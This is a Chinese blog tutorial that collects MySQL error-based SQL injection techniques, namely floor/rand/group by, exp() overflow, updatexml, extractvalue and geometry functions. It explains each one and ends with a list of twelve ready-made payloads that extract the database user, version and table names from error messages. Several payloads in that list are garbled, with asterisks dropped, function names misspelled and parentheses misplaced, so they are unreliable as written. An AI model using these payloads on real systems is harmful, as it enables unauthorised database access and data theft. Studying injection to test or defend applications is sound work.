web安全之报错注入汇总

1 报错注入

MySQL 报错注入主要分为以下几类:

1. BigInt 等数据类型溢出;

2. Xpath 语法错误;

3. count() + rand() + group_by() 导致重复;

4. 空间数据类型函数错误。

1.1 floor()

rand(N) - 返回一个随机浮点数 v,范围是 0<=v<1.0;N 是可选提供的,如果提供了N,则会设定N为一个SEED

floor(x) - 返回不大于 x 的最大整数

web安全之报错注入汇总_第1张图片

count(x) - 返回 x 数据集的数量

web安全之报错注入汇总_第2张图片

错误触发:

web安全之报错注入汇总_第3张图片

虚拟表的主键重复:group by要进行两次运算,第一次是拿group by后面的字段值到虚拟表中去对比前,首先获取group by后面的值;第二次是假设group by后面的字段的值在虚拟表中不存在,那就需要把它插入到虚拟表中,这里在插入时会进行第二次运算。由于rand函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,可能在虚拟表中已经存在了,那么这时的插入必然导致主键的重复,进而引发错误。 

floor(rand(0) *2) 的结果如下:

web安全之报错注入汇总_第4张图片

1.2 exp()

函数语法:exp(int)

适用版本:5.5.5~5.5.49

该函数将会返回e的x次方结果。正常如下图:

web安全之报错注入汇总_第5张图片

报错原理:次方到后边每增加1,其结果都将跨度极大,而mysql能记录的double数值范围有限,一旦结果超过范围,则该函数报错。当传递一个大于709的值时,函数exp()就会引起一个重叠错误。根据这个原理,加大整数来溢出:

exp(~(select * from(select user())a))

解释:

1、先查询 select user() 这里面的语句,将这里面查询出来的数据作为一个结果集 取名为 a
2、然后 再 select * from a 查询a ,将 结果集a 全部查询出来

得到表名:

select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));

1.3 updatexml()

函数语法:updatexml(XML_document, XPath_string, new_value);

适用版本: 5.1.5+
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

select updatexml(1,concat(‘!’,(select table_name from information_schema.tables where table_schema=database() limit 0,1),1),1)

  • select updatexml(1,’!a’,1)   用!是为了报错
  • concat(‘!’,database(),1) 拼接语句
  • (select * from a) 加小括号是子查询,有高优先级
  • 报错注入返回的是字符串,所以加上limit限制返回内容

1.4 extractvalue()

函数语法:EXTRACTVALUE (XML_document, XPath_string);

适用版本:5.1.5+

利用原理与updatexml函数相同

payload: and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

1.5 其他报错语句汇总

(从网上找的12条报错语句)

1、通过floor报错,注入语句如下:
and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);

2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))

4、通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;

6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );

7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );

8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );

9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );

10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );

11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );

12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );

安全学习交流群:687398569

你可能感兴趣的:(Web安全,网络安全,信息安全,sql)